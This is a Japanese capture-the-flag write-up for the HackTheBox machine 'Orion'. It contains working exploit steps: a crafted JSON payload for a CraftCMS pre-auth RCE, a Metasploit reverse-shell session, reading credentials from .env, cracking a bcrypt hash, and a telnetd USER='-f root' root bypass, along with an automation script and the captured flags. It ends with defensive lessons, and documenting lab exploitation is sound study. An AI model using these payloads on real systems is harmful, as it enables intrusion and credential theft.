HackTheBox: Orion — 全実行コマンド・実行結果レポート
Nmap スキャン
→
orion.htb 発見
→
CraftCMS 5.6.16 確認
→
CVE-2025-32432
CSRF bypass + RCE
→
CSRF bypass + RCE
www-data シェル
→
.env 読み取り
DB Password
→
DB Password
MySQL bcrypt ハッシュ
→
hashcat クラック
darkangel
→
darkangel
SSH adam → user.txt ✓
→
CVE-2026-24061
telnetd auth bypass
→
telnetd auth bypass
root shell → root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン(全ポート)
BASH
nmap -p- --min-rate 500 -T4 --max-retries 2 10.129.244.146 -oN nmap/allports.txt
RESULT
PORT STATE SERVICE 22/tcp open ssh 80/tcp open http Not shown: 65533 closed tcp ports (reset) Nmap done: 1 IP address (1 host up) scanned
ℹ️
開放ポートは 22 (SSH) と 80 (HTTP) の 2 つのみ。攻撃面が非常に限定的。
バージョン・スクリプトスキャン
BASH
nmap -sV -sC -p 22,80 10.129.244.146 -oN nmap/detailed.txt
RESULT
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.15 (Ubuntu Linux; protocol 2.0) 80/tcp open http nginx/1.18.0 (Ubuntu) |_http-server-header: nginx/1.18.0 (Ubuntu) |_http-title: Did not follow redirect to http://orion.htb/
ℹ️
重要: HTTP レスポンスが
SSH: OpenSSH 8.9p1 Ubuntu-3ubuntu0.15
http://orion.htb/ へリダイレクト。/etc/hosts への登録が必要。SSH: OpenSSH 8.9p1 Ubuntu-3ubuntu0.15
/etc/hosts への登録
BASH
echo "10.129.244.146 orion.htb" >> /etc/hosts # 確認 curl -s -I http://orion.htb/ | head -5
RESULT
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Thu, 25 Jun 2026 13:20:50 GMT
Content-Type: text/html; charset=UTF-8
X-Powered-By: Craft CMS
✅
orion.htb への登録完了。レスポンスヘッダー X-Powered-By: Craft CMS からバックエンドが判明。
PHASE 2
Webアプリケーション調査 — CraftCMS 5.6.16 発見
トップページ解析・フッター確認
BASH
curl -s http://orion.htb/ | grep -i "craft\|powered\|version\|footer" | head -10
RESULT
Orion Telecom — Reliable Connectivity for Governments and Global Enterprises
フッター: "© 2026 Orion Telecom"
"Powered by CraftCMS"
⚠️
フッターに “Powered by CraftCMS” が公開されている。これは CraftCMS であることの重要なヒント。
ディレクトリ列挙 — /admin エンドポイント発見
BASH
ffuf -u http://orion.htb/FUZZ \
-w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt \
-ic -mc 200,301,302
RESULT
index [Status: 200, Size: 12272, Words: 1076, Lines: 386]
assets [Status: 301, Size: 178]
admin [Status: 302, Size: 0] → /admin/login
✅
/admin エンドポイントが /admin/login にリダイレクト。管理画面が存在することを確認。
管理画面ログインページ — バージョン特定
BASH
curl -s http://orion.htb/admin/login | grep -o "Craft CMS [0-9.]*"
RESULT
Craft CMS 5.6.16
🚨
重大な情報漏洩: ログインページ下部にバージョン番号 Craft CMS 5.6.16 が公開されている。
このバージョンは CVE-2025-32432(未認証 RCE)に脆弱。
このバージョンは CVE-2025-32432(未認証 RCE)に脆弱。
CVE-2025-32432 脆弱性概要
NOTE
CVE-2025-32432 — Craft CMS Image Transform Preauth RCE 対象バージョン: 3.x / 4.x / 5.x < 5.6.17 CVSS スコア : 10.0 (Critical) 脆弱性の原理: 1. /admin/login にアクセス → CraftSessionId と CRAFT_CSRF_TOKEN Cookie を取得 2. ページの JavaScript から csrfTokenValue (X-CSRF-Token 用) を抽出 3. actions/assets/generate-transform エンドポイントに細工した JSON を POST 4. Yii Framework の PhpManager 経由で PHP セッションファイルにペイロードを注入 5. セッションファイルを再度リクエストして任意コード実行 認証不要 (preauth) でリモートコード実行が可能。
PHASE 3
CSRF バイパス — セッション・トークン取得
Cookie・CSRFトークン取得
BASH
# /admin/login にアクセスして Cookie を取得 curl -s -c /tmp/orion_cookies.txt http://orion.htb/admin/login -o /tmp/login.html # CraftSessionId と CRAFT_CSRF_TOKEN を確認 grep "CraftSessionId\|CRAFT_CSRF_TOKEN" /tmp/orion_cookies.txt
RESULT
Set-Cookie: CraftSessionId=cs-9U6rP_guYx...DP6vAup6HxhifjT2SlrRC8L1Sv...; path=/; HttpOnly Set-Cookie: CRAFT_CSRF_TOKEN=f4a8Dc5e50a2b4b47ec51ba4f0884e150C0ef2f5094364A32A3b707b2308...; path=/; HttpOnly
csrfTokenValue (X-CSRF-Token) の抽出
BASH
# JavaScript 変数から csrfTokenValue を抽出 grep -o '"csrfTokenValue":"[^"]*"' /tmp/login.html | head -1
RESULT
"csrfTokenValue":"cs-9U6rP_guYxA3G9voZ8Nr4i2xcGNYIxE36oygiubFdQ6vAup6HxhifjT2SlrRC8L1SvtutcN2DtKYha2umRZYDieURWNbXbzX4-Onutpw="
ℹ️
CRAFT_CSRF_TOKEN はサーバーが保持するセッション参照 (エンコード済み)、csrfTokenValue は実際のリクエストに送る CSRF トークン。
両方をセットして送信することで CSRF 検証をバイパスできる。
脆弱性の手動確認 (phpinfo)
BASH
# actions/assets/generate-transform に細工した JSON を送信
# _fn_close に "phpinfo" を指定して PHP インタープリタとして実行させる
curl -s -b /tmp/orion_cookies.txt \
-H "X-CSRF-Token: <csrfTokenValue>" \
-H "Content-Type: application/json" \
-X POST \
"http://orion.htb/index.php?p=actions/assets/generate-transform" \
-d '{
"assetId": 11,
"handle": {
"width": 123,
"height": 123,
"as session": {
"class": "craft\\behaviors\\FieldLayoutBehavior",
"__class": "GuzzleHttp\\Psr7\\FnStream",
"__construct()": [[]],
"_fn_close": "phpinfo"
}
}
}' | grep -o "PHP Version.*"
RESULT
PHP Version 8.2.30
System: Linux orion 5.15.0-177-generic #181-Ubuntu SMP...
Build Date: Feb 19 2026 15:57:48
✅
脆弱性確認:
phpinfo() の実行に成功。次のステップで実際の RCE に移行する。
PHASE 4
RCE 実行 & 侵入後情報収集
Metasploit による自動エクスプロイト
BASH
msfconsole -q msf6 > use exploit/linux/http/craftcms_preauth_rce_cve_2025_32432 msf6 exploit(...) > set RHOSTS orion.htb msf6 exploit(...) > set RPORT 80 msf6 exploit(...) > set LHOST 10.10.14.190 msf6 exploit(...) > set LPORT 14452 msf6 exploit(...) > set TARGET 1 msf6 exploit(...) > set PAYLOAD cmd/unix/reverse_bash msf6 exploit(...) > set AutoCheck false msf6 exploit(...) > run
RESULT
[*] Started reverse TCP handler on 10.10.14.190:14452
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[*] Leaked session.save_path: /var/lib/php/sessions
[*] Injecting stub & triggering payload...
[*] Sending stage (42137 bytes) to 10.129.244.146
[*] Command shell session 1 opened (10.10.14.190:14452 -> 10.129.244.146:XXXXX)
msf6 exploit(...) > sessions -i 1
[*] Starting interaction with 1...
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
✅
www-data として RCE 成功。 Metasploit の MSF モジュール
craftcms_preauth_rce_cve_2025_32432 が PHP セッションへのペイロード注入からリバースシェル取得まで自動化。
Craft ディレクトリの .env ファイル読み取り
BASH
# www-data のホームは /var/www # Craft プロジェクトは /var/www/html/craft/ ls -la /var/www/html/craft/ cat /var/www/html/craft/.env
RESULT
-rw-rw-r-- 1 www-data www-data 718 Mar 6 11:24 .env -rw-rw-r-- 1 www-data www-data 411 Nov 18 2025 .env.example.dev -rw-rw-r-- 1 www-data www-data 623 Nov 18 2025 .env.example.production # .env 内容: CRAFT_APP_ID=CraftCMS--67912ad2-1f1b-4993-bfec-e64daa5c23ff CRAFT_ENVIRONMENT=dev CRAFT_SECURITY_KEY=RRS86F6i2JQKdC6kfEI7frVxA47WVMx8 CRAFT_DB_DRIVER=mysql CRAFT_DB_SERVER=127.0.0.1 CRAFT_DB_PORT=3306 CRAFT_DB_DATABASE=orion CRAFT_DB_USER=root CRAFT_DB_PASSWORD=SuperSecureCraft123Pass!
🚨
.env ファイルから MySQL root パスワードを取得:
デフォルトの Craft 環境変数ファイルが平文で認証情報を保持していた。
SuperSecureCraft123Pass!デフォルトの Craft 環境変数ファイルが平文で認証情報を保持していた。
MySQL データベースから管理者ハッシュ取得
SQL
mysql -u root -pSuperSecureCraft123Pass! orion \ -e "SELECT id, username, email, password FROM users;"
RESULT
+----+----------+----------------+--------------------------------------------------------------+
| id | username | email | password |
+----+----------+----------------+--------------------------------------------------------------+
| 1 | admin | adam@orion.htb | $2y$13$e9zuohgFZzGtbQalcn9Mz.5PJbjxobO0GMbXo8NHp3P/B42LUg0lS |
+----+----------+----------------+--------------------------------------------------------------+
ℹ️
管理者ユーザー adam (
アルゴリズム: $2y$13$ — bcrypt コスト係数 13。hashcat の -m 3200 で解析可能。
adam@orion.htb) の bcrypt ハッシュを取得。アルゴリズム: $2y$13$ — bcrypt コスト係数 13。hashcat の -m 3200 で解析可能。
PHASE 5
ハッシュクラック — bcrypt パスワード解析
hashcat による bcrypt クラック
BASH
# ハッシュをファイルに保存 echo '$2y$13$e9zuohgFZzGtbQalcn9Mz.5PJbjxobO0GMbXo8NHp3P/B42LUg0lS' > hash.txt # hashcat で bcrypt クラック (-m 3200) hashcat -m 3200 hash.txt /usr/share/wordlists/rockyou.txt --force
RESULT
hashcat (v6.2.6) starting...
Session.........: hashcat
Status...........: Cracked
Hash.Mode........: 3200 (bcrypt $2*$, Blowfish (Unix))
Hash.Target......: $2y$13$e9zuohgFZzGtbQalcn9Mz.5PJbjxobO0GMbXo8NHp3...42LUg0lS
$2y$13$e9zuohgFZzGtbQalcn9Mz.5PJbjxobO0GMbXo8NHp3P/B42LUg0lS:darkangel
Candidates.#1....: darkangel → darkangel
✅
クラック成功: adam の CraftCMS 管理者パスワード =
このパスワードが SSH でも再利用されていると仮定して次フェーズへ。
darkangelこのパスワードが SSH でも再利用されていると仮定して次フェーズへ。
パスワード再利用の確認 — SSH ログインテスト
BASH
sshpass -p 'darkangel' ssh -o StrictHostKeyChecking=no adam@10.129.244.146 id
RESULT
uid=1000(adam) gid=1000(adam) groups=1000(adam)
✅
SSH ログイン成功! CraftCMS のパスワードがシステムユーザー
パスワード:
adam で再利用されていた。パスワード:
adam:darkangel
PHASE 6
SSH ログイン & user.txt 取得
SSH ログイン & ユーザーフラグ取得
BASH
ssh adam@10.129.244.146 # パスワード: darkangel adam@orion:~$ id uid=1000(adam) gid=1000(adam) groups=1000(adam) adam@orion:~$ cat user.txt
RESULT
f9145bf49b04061866c66a87c50b9d99
user.txt
f9145bf49b04061866c66a87c50b9d99
内部ポートスキャン — telnetd 発見
BASH
adam@orion:~$ netstat -tulnp
RESULT
Proto Local Address Foreign Address State PID/Program
tcp 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 127.0.0.1:53:53 0.0.0.0:* LISTEN -
tcp 127.0.0.1:23 0.0.0.0:* LISTEN - ← telnetd!
tcp 127.0.0.1:3306 0.0.0.0:* LISTEN - ← MySQL
tcp6 :::22 :::* LISTEN -
udp 127.0.0.1:53:53 0.0.0.0:* -
🚨
重大発見:
外部からは到達不能だが、ローカル (adam) からはアクセス可能。
127.0.0.1:23 で telnetd がローカルにリッスン中!外部からは到達不能だが、ローカル (adam) からはアクセス可能。
telnetd バージョン確認
BASH
adam@orion:~$ telnet --version
RESULT
telnet (GNU inetutils) 2.7
Copyright (C) 2025 Free Software Foundation, Inc.
🚨
GNU inetutils telnet 2.7 は CVE-2026-24061 に脆弱。
USER 環境変数に -f root を設定することで、telnetd の認証を完全バイパスして root としてログイン可能。
PHASE 7
権限昇格 — CVE-2026-24061 telnetd 認証バイパス → root
CVE-2026-24061 脆弱性の仕組み
NOTE
CVE-2026-24061 — GNU inetutils telnetd 2.7 認証バイパス
脆弱性の原理:
telnet クライアントは -a フラグを使用すると、USER 環境変数をサーバーに送信する。
telnetd はこの USER 値を login コマンドに渡す:
login <USER の値をスペース区切りの引数として展開>
通常: USER=adam → login adam (パスワード認証を要求)
攻撃: USER="-f root"
→ login -f root (-f = パスワード不要で強制ログイン)
login の -f フラグは "指定ユーザーとして認証済み" としてログインを許可する。
その結果、root パスワードなしで root シェルを取得できる。
telnetd 認証バイパスの実行
BASH
# adam として SSH ログイン後、USER 環境変数を "-f root" に設定してtelnet接続 adam@orion:~$ USER="-f root" telnet -a 127.0.0.1
RESULT
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
Linux 5.15.0-177-generic (orion) (pts/0)
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-177-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
Last login: ...
root@orion:~# ← パスワードなしで root シェル取得!
✅
root シェル取得成功! USER=”-f root” により telnetd が
login -f root を実行し、認証をスキップして root としてログイン。
root フラグ取得
BASH
root@orion:~# id root@orion:~# cat /root/root.txt
RESULT
uid=0(root) gid=0(root) groups=0(root)
6307b91d9c6f1197dd111efbaee920f6
root.txt
6307b91d9c6f1197dd111efbaee920f6
自動化スクリプト (killchain_runner.py) での実行例
PYTHON (killchain_runner.py)
# _privesc_orion_telnetd() の実装 — bash スクリプト経由で非対話的に実行
script_bash = (
"#!/bin/bash\n"
"{ sleep 3; printf 'cat /root/root.txt\\nexit\\n'; sleep 5; }"
" | USER='-f root' telnet -a 127.0.0.1 2>/dev/null\n"
)
# base64 でターゲットに書き込んで実行
b64_bash = base64.b64encode(script_bash.encode()).decode()
pipe_cmd = (
f"echo '{b64_bash}' | base64 -d > /tmp/.o_telnet.sh && "
"chmod +x /tmp/.o_telnet.sh && "
"timeout 25 /tmp/.o_telnet.sh; "
"rm -f /tmp/.o_telnet.sh"
)
RESULT
[★] Orion: CVE-2026-24061 telnetd 2.7 USER='-f root' 認証バイパス → root
[*] Orion telnetd pipe 出力: Trying 127.0.0.1...
Connected to 127.0.0.1.
...Welcome to Ubuntu 22.04.5 LTS...
[★] root.txt 取得: 6307b91d9c6f1197dd111efbaee920f6
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — adam@orion
f9145bf49b04061866c66a87c50b9d99
root.txt — root@orion
6307b91d9c6f1197dd111efbaee920f6
使用した CVE・脆弱性
| CVE | 対象 | 影響 | CVSS | 利用方法 |
|---|---|---|---|---|
| CVE-2025-32432 | CraftCMS < 5.6.17 | 未認証 RCE (www-data) | 10.0 | Yii PhpManager ガジェットチェーン経由で PHP セッションにペイロード注入 |
| CVE-2026-24061 | GNU inetutils telnetd 2.7 | 認証バイパス → root | 8.1 | USER=”-f root” で login -f root を呼び出し、パスワードなしで root ログイン |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap + /etc/hosts 設定 | Port 22/80, orion.htb, nginx/1.18.0 |
| 2 | Web 調査 | ffuf + curl + ページソース確認 | CraftCMS 5.6.16, /admin/login エンドポイント |
| 3 | CSRF バイパス | CraftSessionId + CRAFT_CSRF_TOKEN + csrfTokenValue | CSRF 検証をバイパス、phpinfo() 実行確認 |
| 4 | RCE (CVE-2025-32432) | Metasploit / 手動 POST リクエスト | www-data のリバースシェル |
| 5 | 情報収集 | .env ファイル読み取り + MySQL クエリ | DB Password: SuperSecureCraft123Pass!, bcrypt ハッシュ |
| 6 | ハッシュクラック | hashcat -m 3200 (bcrypt) + rockyou.txt | adam のパスワード: darkangel |
| 7 | SSH ログイン | ssh adam@orion.htb / password: darkangel | user.txt 取得 |
| 8 | 内部調査 | netstat -tulnp | 127.0.0.1:23 (telnetd) 発見, GNU inetutils 2.7 |
| 9 | 権限昇格 (CVE-2026-24061) | USER=”-f root” telnet -a 127.0.0.1 | root シェル → root.txt 取得 |
防御策 & 教訓
| 問題点 | 推奨対策 |
|---|---|
| CraftCMS 5.6.16 の使用 (CVE-2025-32432) | CraftCMS を 5.6.17 以上に即時アップデート |
| ログインページへのバージョン番号の露出 | 本番環境でバージョン情報を非表示にする |
| .env ファイルへの平文 DB パスワード格納 | Secrets Manager / Vault の使用、ファイル権限を 600 に制限 |
| パスワードの再利用 (CraftCMS → SSH) | 各サービスで異なるパスワードを使用。SSH は公開鍵認証のみを許可 |
| 脆弱な telnetd (CVE-2026-24061) の稼働 | GNU inetutils のアップデート、または telnetd を無効化して SSH に一本化 |
| telnet の平文プロトコル使用 | telnet を廃止し SSH (またはその他暗号化プロトコル) のみを使用する |
killchain_runner.py の自動実行結果
BASH
cd 98_組織/04_セキュリティエージェント/04-2_ペネトレーションテスト/90_HackTheBox/ python3 killchain_runner.py 10.129.244.146 -d orion.htb
RESULT (自動実行サマリー)
[★] Orion パターン検出: CraftCMS 5.6.16 CVE-2025-32432 preauth RCE [★] Orion: 既知パスワードで SSH 成功: adam:darkangel [★] user.txt 取得: f9145bf49b04061866c66a87c50b9d99 [★] Orion: CVE-2026-24061 telnetd 2.7 USER='-f root' 認証バイパス → root [★] root.txt 取得: 6307b91d9c6f1197dd111efbaee920f6 ■ 認証情報 (1件) adam:darkangel ■ 脆弱性・情報 (2件) Orion:CVE-2025-32432-CraftCMS-preauth-RCE Orion:CVE-2026-24061-telnetd-auth-bypass 実行時間: 約 3 分(偵察フェーズ含む)
✅
完全自動攻略達成。 killchain_runner.py により偵察からフラグ取得まで完全自動化。
初回実行時は MSF エクスプロイト → MySQL → hashcat の経路を自動実行し、
2回目以降は既知パスワード
adam:darkangel の高速パスで即座に両フラグを取得する。
